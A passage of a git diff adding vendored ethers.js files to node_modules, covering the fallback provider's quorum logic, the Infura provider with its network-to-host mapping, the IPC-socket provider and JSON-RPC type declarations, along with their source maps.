= await provider._perform(req); + results[index] = Object.assign(normalizeResult(req.method, { result }), { weight }); + } + catch (error) { + results[index] = Object.assign(normalizeResult(req.method, { error }), { weight }); + } + }); + // As each promise finishes... + while (true) { + // Check for a valid broadcast result + const done = results.filter((r) => (r != null)); + for (const { value } of done) { + if (!(value instanceof Error)) { + return value; + } + } + // Check for a legit broadcast error (one which we cannot + // recover from; some nodes may return the following red + // herring events: + // - alredy seend (UNKNOWN_ERROR) + // - NONCE_EXPIRED + // - REPLACEMENT_UNDERPRICED + const result = checkQuorum(this.quorum, results.filter((r) => (r != null))); + if (isError(result, "INSUFFICIENT_FUNDS")) { + throw result; + } + // Kick off the next provider (if any) + const waiting = broadcasts.filter((b, i) => (results[i] == null)); + if (waiting.length === 0) { + break; + } + await Promise.race(waiting); + } + // Use standard quorum results; any result was returned above, + // so this will find any error that met quorum if any + const result = getAnyResult(this.quorum, results); + assert(result !== undefined, "problem multi-broadcasting", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: results.map(stringify) } + }); + if (result instanceof Error) { + throw result; + } + return result; + } + await this.#initialSync(); + // Bootstrap enough runners to meet quorum + const running = new Set(); + let inflightQuorum = 0; + while (true) { + const runner = this.#addRunner(running, req); + if (runner == null) { + break; + } + inflightQuorum += runner.config.weight; + if (inflightQuorum >= this.quorum) { + break; + } + } + const result = await this.#waitForQuorum(running, req); + // Track requests sent to a provider that are still + // outstanding after quorum has been otherwise found + for (const runner of running) { + if (runner.perform && runner.result == null) { + runner.config.lateResponses++; + } + } + return result; + } + async destroy() { + for (const { provider } of this.#configs) { + provider.destroy(); + } + super.destroy(); + } +} +//# sourceMappingURL=provider-fallback.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-fallback.js.map b/node_modules/ethers/lib.esm/providers/provider-fallback.js.map new file mode 100644 index 000000000000..80c770f62eed --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-fallback.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-fallback.js","sourceRoot":"","sources":["../../src.ts/providers/provider-fallback.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,OAAO,EACH,MAAM,EAAE,cAAc,EAAE,SAAS,EAAE,SAAS,EAAE,OAAO,EACxD,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAA;AAKtC,MAAM,IAAI,GAAG,MAAM,CAAC,GAAG,CAAC,CAAC;AACzB,MAAM,IAAI,GAAG,MAAM,CAAC,GAAG,CAAC,CAAC;AAEzB,SAAS,OAAO,CAAU,KAAe;IACrC,KAAK,IAAI,CAAC,GAAG,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC,GAAG,CAAC,EAAE,CAAC,EAAE,EAAE;QACvC,MAAM,CAAC,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;QAC9C,MAAM,GAAG,GAAG,K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EAAE,GAAG,CAAC,CAAC;YAC7C,IAAI,MAAM,IAAI,IAAI,EAAE;gBAAE,MAAM;aAAE;YAC9B,cAAc,IAAI,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC;YACvC,IAAI,cAAc,IAAI,IAAI,CAAC,MAAM,EAAE;gBAAE,MAAM;aAAE;SAChD;QAED,MAAM,MAAM,GAAG,MAAM,IAAI,CAAC,cAAc,CAAC,OAAO,EAAE,GAAG,CAAC,CAAC;QAEvD,mDAAmD;QACnD,oDAAoD;QACpD,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE;YAC1B,IAAI,MAAM,CAAC,OAAO,IAAI,MAAM,CAAC,MAAM,IAAI,IAAI,EAAE;gBACzC,MAAM,CAAC,MAAM,CAAC,aAAa,EAAE,CAAC;aACjC;SACJ;QAED,OAAO,MAAM,CAAC;IAClB,CAAC;IAED,KAAK,CAAC,OAAO;QACT,KAAK,MAAM,EAAE,QAAQ,EAAE,IAAI,IAAI,CAAC,QAAQ,EAAE;YACtC,QAAQ,CAAC,OAAO,EAAE,CAAC;SACtB;QACD,KAAK,CAAC,OAAO,EAAE,CAAC;IACpB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-infura.d.ts b/node_modules/ethers/lib.esm/providers/provider-infura.d.ts new file mode 100644 index 000000000000..6ee73ec14e67 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-infura.d.ts @@ -0,0 +1,101 @@ +/** + * [[link-infura]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Linea (``linea``) + * - Linea Goerli Testnet (``linea-goerli``) + * - Linea Sepolia Testnet (``linea-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:INFURA [providers-infura] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import { WebSocketProvider } from "./provider-websocket.js"; +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **InfuraWebSocketProvider** connects to the [[link-infura]] + * WebSocket end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export declare class InfuraWebSocketProvider extends WebSocketProvider implements CommunityResourcable { + /** + * The Project ID for the INFURA connection. + */ + readonly projectId: string; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + readonly projectSecret: null | string; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + constructor(network?: Networkish, projectId?: string); + isCommunityResource(): boolean; +} +/** + * The **InfuraProvider** connects to the [[link-infura]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export declare class InfuraProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The Project ID for the INFURA connection. + */ + readonly projectId: string; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + readonly projectSecret: null | string; + /** + * Creates a new **InfuraProvider**. + */ + constructor(_network?: Networkish, projectId?: null | string, projectSecret?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + static getWebSocketProvider(network?: Networkish, projectId?: string): InfuraWebSocketProvider; + /** + * Returns a prepared request for connecting to %%network%% + * with %%projectId%% and %%projectSecret%%. + */ + static getRequest(network: Network, projectId?: null | string, projectSecret?: null | string): FetchRequest; +} +//# sourceMappingURL=provider-infura.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-infura.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-infura.d.ts.map new file mode 100644 index 000000000000..69016b169459 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-infura.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-infura.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-infura.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AACH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AACxD,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAE5D,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC/D,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAsD/C;;;;;;;;GAQG;AACH,qBAAa,uBAAwB,SAAQ,iBAAkB,YAAW,oBAAoB;IAE1F;;OAEG;IACH,QAAQ,CAAC,SAAS,EAAG,MAAM,CAAC;IAE5B;;;;;OAKG;IACH,QAAQ,CAAC,aAAa,EAAG,IAAI,GAAG,MAAM,CAAC;IAEvC;;OAEG;gBACS,OAAO,CAAC,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,MAAM;IAgBpD,mBAAmB,IAAI,OAAO;CAGjC;AAED;;;;;;;;GAQG;AACH,qBAAa,cAAe,SAAQ,eAAgB,YAAW,oBAAoB;IAC/E;;OAEG;IACH,QAAQ,CAAC,SAAS,EAAG,MAAM,CAAC;IAE5B;;;;;OAKG;IACH,QAAQ,CAAC,aAAa,EAAG,IAAI,GAAG,MAAM,CAAC;IAEvC;;OAEG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM;IAY3F,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C,mBAAmB,IAAI,OAAO;IAI9B;;OAEG;IACH,MAAM,CAAC,oBAAoB,CAAC,OAAO,CAAC,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,uBAAuB;IAI9F;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,SAAS,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;CAiB9G"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-infura.js b/node_modules/ethers/lib.esm/providers/provider-infura.js new file mode 100644 index 000000000000..bce628166925 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-infura.js @@ -0,0 +1,201 @@ +/** + * [[link-infura]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Linea (``linea``) + * - Linea Goerli Testnet (``linea-goerli``) + * - Linea Sepolia Testnet (``linea-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:INFURA [providers-infura] + */ +import { defineProperties, FetchRequest, assert, assertArgument } from "../utils/index.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import { WebSocketProvider } from "./provider-websocket.js"; +const defaultProjectId = "84842078b09946638c03157f83405213"; +function getHost(name) { + switch (name) { + case "mainnet": + return "mainnet.infura.io"; + case "goerli": + return "goerli.infura.io"; + case "sepolia": + return "sepolia.infura.io"; + case "arbitrum": + return "arbitrum-mainnet.infura.io"; + case "arbitrum-goerli": + return "arbitrum-goerli.infura.io"; + case "arbitrum-sepolia": + return "arbitrum-sepolia.infura.io"; + case "base": + return "base-mainnet.infura.io"; + case "base-goerlia": // @TODO: Remove this typo in the future! + case "base-goerli": + return "base-goerli.infura.io"; + case "base-sepolia": + return "base-sepolia.infura.io"; + case "bnb": + return "bsc-mainnet.infura.io"; + case "bnbt": + return "bsc-testnet.infura.io"; + case "linea": + return "linea-mainnet.infura.io"; + case "linea-goerli": + return "linea-goerli.infura.io"; + case "linea-sepolia": + return "linea-sepolia.infura.io"; + case "matic": + return "polygon-mainnet.infura.io"; + case "matic-amoy": + return "polygon-amoy.infura.io"; + case "matic-mumbai": + return "polygon-mumbai.infura.io"; + case "optimism": + return "optimism-mainnet.infura.io"; + case "optimism-goerli": + return "optimism-goerli.infura.io"; + case "optimism-sepolia": + return "optimism-sepolia.infura.io"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **InfuraWebSocketProvider** connects to the [[link-infura]] + * WebSocket end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export class InfuraWebSocketProvider extends WebSocketProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + constructor(network, projectId) { + const provider = new InfuraProvider(network, projectId); + const req = provider._getConnection(); + assert(!req.credentials, "INFURA WebSocket project secrets unsupported", "UNSUPPORTED_OPERATION", { operation: "InfuraProvider.getWebSocketProvider()" }); + const url = req.url.replace(/^http/i, "ws").replace("/v3/", "/ws/v3/"); + super(url, provider._network); + defineProperties(this, { + projectId: provider.projectId, + projectSecret: provider.projectSecret + }); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } +} +/** + * The **InfuraProvider** connects to the [[link-infura]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export class InfuraProvider extends JsonRpcProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraProvider**. + */ + constructor(_network, projectId, projectSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = InfuraProvider.getRequest(network, projectId, projectSecret); + super(request, network, { staticNetwork: network }); + defineProperties(this, { projectId, projectSecret }); + } + _getProvider(chainId) { + try { + return new InfuraProvider(chainId, this.projectId, this.projectSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } + /** + * Creates a new **InfuraWebSocketProvider**. + */ + static getWebSocketProvider(network, projectId) { + return new InfuraWebSocketProvider(network, projectId); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%projectId%% and %%projectSecret%%. + */ + static getRequest(network, projectId, projectSecret) { + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/v3/${projectId}`); + request.allowGzip = true; + if (projectSecret) { + request.setCredentials("", projectSecret); + } + if (projectId === defaultProjectId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("InfuraProvider"); + return true; + }; + } + return request; + } +} +//# sourceMappingURL=provider-infura.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-infura.js.map b/node_modules/ethers/lib.esm/providers/provider-infura.js.map new file mode 100644 index 000000000000..4f996cf7f70e --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-infura.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-infura.js","sourceRoot":"","sources":["../../src.ts/providers/provider-infura.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AACH,OAAO,EACH,gBAAgB,EAAE,YAAY,EAAE,MAAM,EAAE,cAAc,EACzD,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,mBAAmB,EAAE,MAAM,gBAAgB,CAAC;AACrD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AACxD,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAO5D,MAAM,gBAAgB,GAAG,kCAAkC,CAAC;AAE5D,SAAS,OAAO,CAAC,IAAY;IACzB,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,OAAO,mBAAmB,CAAC;QAC/B,KAAK,QAAQ;YACT,OAAO,kBAAkB,CAAC;QAC9B,KAAK,SAAS;YACV,OAAO,mBAAmB,CAAC;QAE/B,KAAK,UAAU;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ket-browser.d.ts b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.d.ts new file mode 100644 index 000000000000..6aae787dcc1c --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.d.ts @@ -0,0 +1,3 @@ +declare const IpcSocketProvider: undefined; +export { IpcSocketProvider }; +//# sourceMappingURL=provider-ipcsocket-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.d.ts.map new file mode 100644 index 000000000000..e49cd58d34f1 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ipcsocket-browser.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-ipcsocket-browser.ts"],"names":[],"mappings":"AAAA,QAAA,MAAM,iBAAiB,WAAY,CAAC;AAEpC,OAAO,EAAE,iBAAiB,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.js b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.js new file mode 100644 index 000000000000..d94074ea44ea --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.js @@ -0,0 +1,3 @@ +const IpcSocketProvider = undefined; +export { IpcSocketProvider }; +//# sourceMappingURL=provider-ipcsocket-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.js.map b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.js.map new file mode 100644 index 000000000000..1df6d95aeee2 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ipcsocket-browser.js","sourceRoot":"","sources":["../../src.ts/providers/provider-ipcsocket-browser.ts"],"names":[],"mappings":"AAAA,MAAM,iBAAiB,GAAG,SAAS,CAAC;AAEpC,OAAO,EAAE,iBAAiB,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ipcsocket.d.ts b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.d.ts new file mode 100644 index 000000000000..23d1f2f69ba8 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.d.ts @@ -0,0 +1,21 @@ +/// +import { SocketProvider } from "./provider-socket.js"; +import type { Socket } from "net"; +import type { JsonRpcApiProviderOptions } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * An **IpcSocketProvider** connects over an IPC socket on the host + * which provides fast access to the node, but requires the node and + * the script run on the same machine. + */ +export declare class IpcSocketProvider extends SocketProvider { + #private; + /** + * The connected socket. + */ + get socket(): Socket; + constructor(path: string, network?: Networkish, options?: JsonRpcApiProviderOptions); + destroy(): void; + _write(message: string): Promise; +} +//# sourceMappingURL=provider-ipcsocket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ipcsocket.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.d.ts.map new file mode 100644 index 000000000000..876e470e2935 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ipcsocket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-ipcsocket.ts"],"names":[],"mappings":";AAEA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,KAAK,CAAC;AAElC,OAAO,KAAK,EAAE,yBAAyB,EAAE,MAAM,uBAAuB,CAAC;AACvE,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAmB/C;;;;GAIG;AACH,qBAAa,iBAAkB,SAAQ,cAAc;;IAGjD;;OAEG;IACH,IAAI,MAAM,IAAI,MAAM,CAAyB;gBAEjC,IAAI,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IA8BnF,OAAO,IAAI,IAAI;IAOT,MAAM,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;CAI/C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ipcsocket.js b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.js new file mode 100644 index 000000000000..f61a45794602 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.js @@ -0,0 +1,68 @@ +import { connect } from "net"; +import { SocketProvider } from "./provider-socket.js"; +// @TODO: Is this sufficient? Is this robust? Will newlines occur between +// all payloads and only between payloads? +function splitBuffer(data) { + const messages = []; + let lastStart = 0; + while (true) { + const nl = data.indexOf(10, lastStart); + if (nl === -1) { + break; + } + messages.push(data.subarray(lastStart, nl).toString().trim()); + lastStart = nl + 1; + } + return { messages, remaining: data.subarray(lastStart) }; +} +/** + * An **IpcSocketProvider** connects over an IPC socket on the host + * which provides fast access to the node, but requires the node and + * the script run on the same machine. + */ +export class IpcSocketProvider extends SocketProvider { + #socket; + /** + * The connected socket. + */ + get socket() { return this.#socket; } + constructor(path, network, options) { + super(network, options); + this.#socket = connect(path); + this.socket.on("ready", async () => { + try { + await this._start(); + } + catch (error) { + console.log("failed to start IpcSocketProvider", error); + // @TODO: Now what? Restart? + } + }); + let response = Buffer.alloc(0); + this.socket.on("data", (data) => { + response = Buffer.concat([response, data]); + const { messages, remaining } = splitBuffer(response); + messages.forEach((message) => { + this._processMessage(message); + }); + response = remaining; + }); + this.socket.on("end", () => { + this.emit("close"); + this.socket.destroy(); + this.socket.end(); + }); + } + destroy() { + this.socket.destroy(); + this.socket.end(); + super.destroy(); + } + async _write(message) { + if (!message.endsWith("\n")) { + message += "\n"; + } + this.socket.write(message); + } +} +//# sourceMappingURL=provider-ipcsocket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ipcsocket.js.map b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.js.map new file mode 100644 index 000000000000..e31be7996248 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ipcsocket.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ipcsocket.js","sourceRoot":"","sources":["../../src.ts/providers/provider-ipcsocket.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,CAAC;AAC9B,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAQtD,yEAAyE;AACzE,0CAA0C;AAC1C,SAAS,WAAW,CAAC,IAAY;IAC7B,MAAM,QAAQ,GAAkB,EAAG,CAAC;IAEpC,IAAI,SAAS,GAAG,CAAC,CAAC;IAClB,OAAO,IAAI,EAAE;QACT,MAAM,EAAE,GAAG,IAAI,CAAC,OAAO,CAAC,EAAE,EAAE,SAAS,CAAC,CAAC;QACvC,IAAI,EAAE,KAAK,CAAC,CAAC,EAAE;YAAE,MAAM;SAAE;QACzB,QAAQ,CAAC,IAAI,CAAC,IAAI,CAAC,QAAQ,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC,IAAI,EAAE,CAAC,CAAC;QAC9D,SAAS,GAAG,EAAE,GAAG,CAAC,CAAC;KACtB;IAED,OAAO,EAAE,QAAQ,EAAE,SAAS,EAAE,IAAI,CAAC,QAAQ,CAAC,SAAS,CAAC,EAAE,CAAC;AAC7D,CAAC;AAED;;;;GAIG;AACH,MAAM,OAAO,iBAAkB,SAAQ,cAAc;IACjD,OAAO,CAAS;IAEhB;;OAEG;IACH,IAAI,MAAM,KAAa,OAAO,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC;IAE7C,YAAY,IAAY,EAAE,OAAoB,EAAE,OAAmC;QAC/E,KAAK,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QACxB,IAAI,CAAC,OAAO,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;QAE7B,IAAI,CAAC,MAAM,CAAC,E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AAE,OAAO,IAAI,IAAI,CAAC;SAAE;QACjD,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC;IAC/B,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-jsonrpc.d.ts b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.d.ts new file mode 100644 index 000000000000..cd837819ae47 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.d.ts @@ -0,0 +1,361 @@ +/** + * One of the most common ways to interact with the blockchain is + * by a node running a JSON-RPC interface which can be connected to, + * based on the transport, using: + * + * - HTTP or HTTPS - [[JsonRpcProvider]] + * - WebSocket - [[WebSocketProvider]] + * - IPC - [[IpcSocketProvider]] + * + * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider] + */ +import { FetchRequest } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { AbstractSigner } from "./abstract-signer.js"; +import { Network } from "./network.js"; +import type { TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { TransactionLike } from "../transaction/index.js"; +import type { PerformActionRequest, Subscriber, Subscription } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import type { Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +import type { Signer } from "./signer.js"; +/** + * A JSON-RPC payload, which are sent to a JSON-RPC server. + */ +export type JsonRpcPayload = { + /** + * The JSON-RPC request ID. + */ + id: number; + /** + * The JSON-RPC request method. + */ + method: string; + /** + * The JSON-RPC request parameters. + */ + params: Array | Record; + /** + * A required constant in the JSON-RPC specification. + */ + jsonrpc: "2.0"; +}; +/** + * A JSON-RPC result, which are returned on success from a JSON-RPC server. + */ +export type JsonRpcResult = { + /** + * The response ID to match it to the relevant request. + */ + id: number; + /** + * The response result. + */ + result: any; +}; +/** + * A JSON-RPC error, which are returned on failure from a JSON-RPC server. + */ +export type JsonRpcError = { + /** + * The response ID to match it to the relevant request. + */ + id: number; + /** + * The response error. + */ + error: { + code: number; + message?: string; + data?: any; + }; +}; +/** + * When subscribing to the ``"debug"`` event, the [[Listener]] will + * receive this object as the first parameter. + */ +export type DebugEventJsonRpcApiProvider = { + action: "sendRpcPayload"; + payload: JsonRpcPayload | Array; +} | { + action: "receiveRpcResult"; + result: Array; +} | { + action: "receiveRpcError"; + error: Error; +}; +/** + * Options for configuring a [[JsonRpcApiProvider]]. Much of this + * is targetted towards sub-classes, which often will not expose + * any of these options to their consumers. + * + * **``polling``** - use the polling strategy is used immediately + * for events; otherwise, attempt to use filters and fall back onto + * polling (default: ``false``) + * + * **``staticNetwork``** - do not request chain ID on requests to + * validate the underlying chain has not changed (default: ``null``) + * + * This should **ONLY** be used if it is **certain** that the network + * cannot change, such as when using INFURA (since the URL dictates the + * network). If the network is assumed static and it does change, this + * can have tragic consequences. For example, this **CANNOT** be used + * with MetaMask, since the user can select a new network from the + * drop-down at any time. + * + * **``batchStallTime``** - how long (ms) to aggregate requests into a + * single batch. ``0`` indicates batching will only encompass the current + * event loop. If ``batchMaxCount = 1``, this is ignored. (default: ``10``) + * + * **``batchMaxSize``** - target maximum size (bytes) to allow per batch + * request (default: 1Mb) + * + * **``batchMaxCount``** - maximum number of requests to allow in a batch. + * If ``batchMaxCount = 1``, then batching is disabled. (default: ``100``) + * + * **``cacheTimeout``** - passed as [[AbstractProviderOptions]]. + */ +export type JsonRpcApiProviderOptions = { + polling?: boolean; + staticNetwork?: null | boolean | Network; + batchStallTime?: number; + batchMaxSize?: number; + batchMaxCount?: number; + cacheTimeout?: number; + pollingInterval?: number; +}; +/** + * A **JsonRpcTransactionRequest** is formatted as needed by the JSON-RPC + * Ethereum API specification. + */ +export interface JsonRpcTransactionRequest { + /** + * The sender address to use when signing. + */ + from?: string; + /** + * The target address. + */ + to?: string; + /** + * The transaction data. + */ + data?: string; + /** + * The chain ID the transaction is valid on. + */ + chainId?: string; + /** + * The [[link-eip-2718]] transaction type. + */ + type?: string; + /** + * The maximum amount of gas to allow a transaction to consume. + * + * In most other places in ethers, this is called ``gasLimit`` which + * differs from the JSON-RPC Ethereum API specification. + */ + gas?: string; + /** + * The gas price per wei for transactions prior to [[link-eip-1559]]. + */ + gasPrice?: string; + /** + * The maximum 